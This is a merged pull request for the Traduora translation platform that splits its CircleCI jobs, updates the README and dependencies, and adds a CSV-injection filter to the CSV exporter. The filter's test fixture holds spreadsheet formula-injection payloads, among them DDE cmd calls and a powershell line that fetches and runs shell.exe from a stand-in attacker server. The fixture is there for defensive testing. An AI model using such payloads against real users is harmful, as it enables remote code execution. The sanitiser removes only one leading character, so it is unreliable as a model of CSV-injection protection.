Merge pull request #286 from ever-co/develop

Release
ever-co · Jan 29, 2022 · 98d1fc0 · 98d1fc0 · vercel · Jan 29, 2022
2 parents e623028 + 2380d9d
commit 98d1fc0
Show file tree

Hide file tree

Showing 20 changed files with 666 additions and 243 deletions.
diff --git a/.circleci/config.yml b/.circleci/config.yml
@@ -1,16 +1,88 @@
-version: 2
+version: 2.1
+
+orbs:
+    node: circleci/[email protected]
 
 jobs:
-  test:
+  check_lint:
+    working_directory: ~/workspace
+    docker:
+      - image: 'cimg/base:stable'
+    steps:
+      - checkout
+      - node/install:
+          install-yarn: true
+          node-version: '16.13'
+      - run: node --version
+      - restore_cache:
+          keys:
+            - api-deps-{{ checksum "api/yarn.lock" }}
+            - webapp-deps-{{ checksum "webapp/yarn.lock" }}
+      - run:
+          name: Install deps
+          command: bin/install-deps.sh
+      - save_cache:
+          paths:
+            - ~/workspace/api/node_modules
+          key: api-deps-{{ checksum "api/yarn.lock" }}
+      - save_cache:
+          paths:
+            - ~/workspace/webapp/node_modules
+          key: webapp-deps-{{ checksum "webapp/yarn.lock" }}
+      - run:
+          name: Run Lint checks
+          command: bin/check_lint.sh
+
+  test_unit:
+    working_directory: ~/workspace
+    docker:
+      - image: 'cimg/base:stable'
+      - image: mysql:5.7
+        environment:
+          MYSQL_ALLOW_EMPTY_PASSWORD: "yes"
+          MYSQL_DATABASE: "tr_e2e"
+    steps:
+      - checkout
+      - node/install:
+          install-yarn: true
+          node-version: '16.13'
+      - run: node --version
+      - restore_cache:
+          keys:
+            - api-deps-{{ checksum "api/yarn.lock" }}
+            - webapp-deps-{{ checksum "webapp/yarn.lock" }}
+      - run:
+          name: Install deps
+          command: bin/install-deps.sh
+      - save_cache:
+          paths:
+            - ~/workspace/api/node_modules
+          key: api-deps-{{ checksum "api/yarn.lock" }}
+      - save_cache:
+          paths:
+            - ~/workspace/webapp/node_modules
+          key: webapp-deps-{{ checksum "webapp/yarn.lock" }}
+      - run:
+          name: Wait for DB
+          command: dockerize -wait tcp://127.0.0.1:3306 -timeout 120s
+      - run:
+          name: Run tests and checks
+          command: bin/test_unit.sh
+
+  test_e2e:
     working_directory: ~/workspace
     docker:
-      - image: circleci/node:14.16
+      - image: 'cimg/base:stable'
       - image: mysql:5.7
         environment:
           MYSQL_ALLOW_EMPTY_PASSWORD: "yes"
           MYSQL_DATABASE: "tr_e2e"
     steps:
       - checkout
+      - node/install:
+          install-yarn: true
+          node-version: '16.13'
+      - run: node --version
       - restore_cache:
           keys:
             - api-deps-{{ checksum "api/yarn.lock" }}
@@ -31,13 +103,17 @@ jobs:
           command: dockerize -wait tcp://127.0.0.1:3306 -timeout 120s
       - run:
           name: Run tests and checks
-          command: bin/check.sh
+          command: bin/test_e2e.sh
 
   build:
     docker:
-      - image: circleci/node:14.16
+      - image: 'cimg/base:stable'
     steps:
       - checkout
+      - node/install:
+          install-yarn: true
+          node-version: '16.13'
+      - run: node --version
       - setup_remote_docker
       - run:
           name: Build
@@ -46,12 +122,36 @@ jobs:
 
 workflows:
   version: 2
+
   test:
     jobs:
-      - test
+      - check_lint
+      - test_unit:
+          requires:
+            - check_lint
+      - test_e2e:
+          requires:
+            - check_lint
+
   release:
     jobs:
-      - test:
+      - check_lint:
+          filters:
+            branches:
+              ignore: /.*/
+            tags:
+              only: /^([0-9.]+)$/
+      - test_unit:
+          requires:
+            - check_lint
+          filters:
+            branches:
+              ignore: /.*/
+            tags:
+              only: /^([0-9.]+)$/
+      - test_e2e:
+          requires:
+            - check_lint
           filters:
             branches:
               ignore: /.*/
@@ -60,7 +160,9 @@ workflows:
       - build:
           context: traduora
           requires:
-            - test
+            - check_lint
+            - test_unit
+            - test_e2e
           filters:
             branches:
               ignore: /.*/

diff --git a/README.md b/README.md
@@ -18,14 +18,17 @@ We are going to also use Traduora from our other open-source platforms (currentl
 
 ## Features
 
+For quick features review, please see our official docs [screenshots](https://docs.traduora.co/docs/screenshots) page.
+
+Short list of platform features:
 - 5-minute setup with Docker, Kubernetes or from source
 - Find what you are looking for with instant search
 - Invite your team, everyone can work together on the same project
 - Automate your translation workflow via our REST API
 - Import and export to your favorite formats: JSON flat and nested, CSV, YAML flat and nested, Java Properties, XLIFF 1.2, Gettext (po), Strings, Android Resources (xml).
 - community contributed CLI available at https://github.com/iilei/traduora-cli (not official CLI)
 
-For more information check out [Traduora.co](https://traduora.co), or our docs at [docs.traduora.co](https://docs.traduora.co)
+For more information check out our official website [traduora.co](https://traduora.co), or our docs at [docs.traduora.co](https://docs.traduora.co).
 
 Any missing feature you'd like to see? File an [issue](https://github.com/ever-co/feature-requests/issues) with the feature request to let us know.
 
@@ -35,12 +38,6 @@ Traduora can be run just about anywhere, check out our [Quickstart](https://docs
 
 Also check out Traduora's [Docker Hub page](https://hub.docker.com/r/everco/ever-traduora) for pre-built images.
 
-## Adopters
-
-- Your company/project.
-
-Submit a pull-request to include your company/project into the list.
-
 ### Configuration and Deployment
 
 Please check out the [configuration](https://docs.traduora.co/docs/configuration) and [deployment](https://docs.traduora.co/docs/deployment) documents for more information on deploying Traduora.
@@ -94,7 +91,7 @@ See [LICENSE](https://github.com/ever-co/ever-traduora/blob/master/LICENSE).
 
 [![FOSSA Status](https://app.fossa.io/api/projects/git%2Bgithub.com%2Fever-co%2Fever-traduora.svg?type=large)](https://app.fossa.io/projects/git%2Bgithub.com%2Fever-co%2Fever-traduora?ref=badge_large)
 
-Traduora was created by https://github.com/anthonynsimon (https://anthonynsimon.com) and [contributors](https://github.com/ever-co/ever-traduora/graphs/contributors). In April 2021 it was moved to Ever company for future development.
+Traduora was created by https://github.com/anthonynsimon (https://anthonynsimon.com) and [contributors](https://github.com/ever-co/ever-traduora/graphs/contributors). In April 2021 it was moved to [Ever](https://ever.co) company for future development.
 
 ## Trademarks
 

diff --git a/api/package.json b/api/package.json
@@ -1,6 +1,6 @@
 {
   "name": "ever-traduora-api",
-  "version": "0.19.1",
+  "version": "0.19.2",
   "license": "AGPL-3.0-only",
   "homepage": "https://traduora.co",
   "repository": {
@@ -29,7 +29,7 @@
     "typeorm": "ts-node node_modules/.bin/typeorm"
   },
   "dependencies": {
-    "@nestjs/common": "^8.0.6",
+    "@nestjs/common": "^8.0.7",
     "@nestjs/core": "^8.0.6",
     "@nestjs/jwt": "^8.0.0",
     "@nestjs/passport": "^8.0.1",
@@ -61,8 +61,8 @@
     "reflect-metadata": "^0.1.13",
     "rxjs": "^7.3.0",
     "strings-file": "^0.0.5",
-    "swagger-ui-express": "^4.1.6",
-    "typeorm": "^0.2.37",    
+    "swagger-ui-express": "^4.2.0",
+    "typeorm": "^0.2.37",
     "xliff": "^5.6.2",
     "xml-js": "^1.6.11"
   },
@@ -92,10 +92,10 @@
     "ts-node": "^10.2.1",
     "tsconfig-paths": "^3.11.0",
     "tslint": "^6.1.3",
+    "typescript": "4.2.3",
     "webpack": "^5.37.0",
     "webpack-cli": "^4.7.0",
-    "webpack-node-externals": "^1.7.2",
-    "typescript": "4.2.3"
+    "webpack-node-externals": "^1.7.2"
   },
   "jest": {
     "moduleFileExtensions": [
@@ -105,6 +105,7 @@
     ],
     "rootDir": "src",
     "testRegex": ".spec.ts$",
+    "testTimeout": 30000,
     "transform": {
       "^.+\\.(t|j)s$": "ts-jest"
     },

diff --git a/api/src/formatters/csv.spec.ts b/api/src/formatters/csv.spec.ts
@@ -1,5 +1,5 @@
 import { csvExporter, csvParser } from './csv';
-import { loadFixture, simpleFormatFixture } from './fixtures';
+import { loadFixture, riskyPayloads, simpleFormatFixture } from './fixtures';
 
 test('should parse csv files', async () => {
   const input = loadFixture('simple.csv');
@@ -28,3 +28,9 @@ test('should export csv files', async () => {
   const expected = loadFixture('simple.csv');
   expect(result).toEqual(expected);
 });
+
+test('should remove risky characters from risky payloads and export csv files', async () => {
+  const result = await csvExporter(riskyPayloads);
+  const expected = loadFixture('cleaned.csv');
+  expect(result).toEqual(expected);
+});
diff --git a/api/src/formatters/csv.ts b/api/src/formatters/csv.ts
@@ -1,6 +1,12 @@
+// Copyright (c) 2021-2022 Ever Co. LTD
+// Modified code from https://github.com/destromas1/csv-injection-protector
+// Originally MIT Licensed
+// - see https://github.com/destromas1/csv-injection-protector/blob/master/LICENSE
+// - original code `Copyright (c) 2019 Shahjada Talukdar`;
+
 import * as parse from 'csv-parse';
 import * as stringify from 'csv-stringify';
-import { Exporter, IntermediateTranslationFormat, Parser } from '../domain/formatters';
+import { Exporter, IntermediateTranslation, IntermediateTranslationFormat, Parser } from '../domain/formatters';
 
 const streamAsPromise = stream => {
   const result = [];
@@ -29,9 +35,35 @@ export const csvParser: Parser = async (data: string) => {
   };
 };
 
+/**
+ * CSV Injection – A Guide To Protecting Your CSV Files
+ *
+ * @param str
+ * @returns
+ */
+const csvInjectionProtector = (str: string) => {
+  const riskyChars = ['=', '+', '-', '@', ',', ';', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0x0d', '/C', '.exe', '\\', '/', '.dll'];
+  if (!str) return '';
+
+  /**
+   * Check first character of string
+   */
+  if (riskyChars.includes(str.charAt(0))) {
+    return str.replace(str.charAt(0), '');
+  }
+  return str;
+};
+
 export const csvExporter: Exporter = async (data: IntermediateTranslationFormat) => {
+  const clearedTranslations = data.translations.map((trans: IntermediateTranslation) => {
+    return {
+      term: csvInjectionProtector(trans.term),
+      translation: csvInjectionProtector(trans.translation),
+    };
+  });
+
   const rows = await streamAsPromise(
-    stringify(data.translations, {
+    stringify(clearedTranslations, {
       header: false,
     }),
   );

diff --git a/api/src/formatters/fixtures/cleaned.csv b/api/src/formatters/fixtures/cleaned.csv
@@ -0,0 +1,6 @@
+DDE ("cmd"" calc";"!A")A0,first
+SUM()*cmd|'  calc'!A,second
+0+cmd|'  calc'!A0,third
+cmd|'  notepad'!'A',fourth
+cmd|' powershell IEX(wget attacker_servershell)'!A,fifth
+HYPERLINK(CONCATENATE("http:/.0.0.0:0/.txt?v=" ('file:///etc/passwd'#$passwd.A1)); "testpoc"),sixth
diff --git a/api/src/formatters/fixtures/index.ts b/api/src/formatters/fixtures/index.ts
@@ -25,3 +25,32 @@ export const simpleFormatFixture: IntermediateTranslationFormat = {
     },
   ],
 };
+
+export const riskyPayloads: IntermediateTranslationFormat = {
+  translations: [
+    {
+      term: 'DDE ("cmd";"/C calc";"!A0")A0',
+      translation: 'first',
+    },
+    {
+      term: `@SUM(1+9)*cmd|' /C calc'!A0`,
+      translation: `second`,
+    },
+    {
+      term: `=10+20+cmd|' /C calc'!A0`,
+      translation: `third`,
+    },
+    {
+      term: `=cmd|' /C notepad'!'A1'`,
+      translation: `fourth`,
+    },
+    {
+      term: `=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0`,
+      translation: `fifth`,
+    },
+    {
+      term: `=HYPERLINK(CONCATENATE("http://0.0.0.0:80/123.txt?v="; ('file:///etc/passwd'#$passwd.A1));"test-poc")`,
+      translation: `sixth`,
+    },
+  ],
+};
diff --git a/api/src/formatters/fixtures/simple.csv b/api/src/formatters/fixtures/simple.csv
@@ -1,4 +1,4 @@
 term.one,Current Plan: {{ project.plan.name }}
 term two,"{VAR_PLURAL, plural, =0 {locales} =1 {locale} other {locales} }"
 TERM_THREE,Export format...
-term:four,hello there you\nthis should be in a newline
+term:four,hello there you\nthis should be in a newline
diff --git a/api/test/jest-e2e.json b/api/test/jest-e2e.json
@@ -1,9 +1,10 @@
 {
-  "moduleFileExtensions": ["js", "json", "ts"],
-  "rootDir": ".",
-  "testEnvironment": "node",
-  "testRegex": ".e2e-spec.ts$",
-  "transform": {
-    "^.+\\.(t|j)s$": "ts-jest"
-  }
+	"moduleFileExtensions": ["js", "json", "ts"],
+	"rootDir": ".",
+	"testEnvironment": "node",
+	"testTimeout": 30000,
+	"testRegex": ".e2e-spec.ts$",
+	"transform": {
+		"^.+\\.(t|j)s$": "ts-jest"
+	}
 }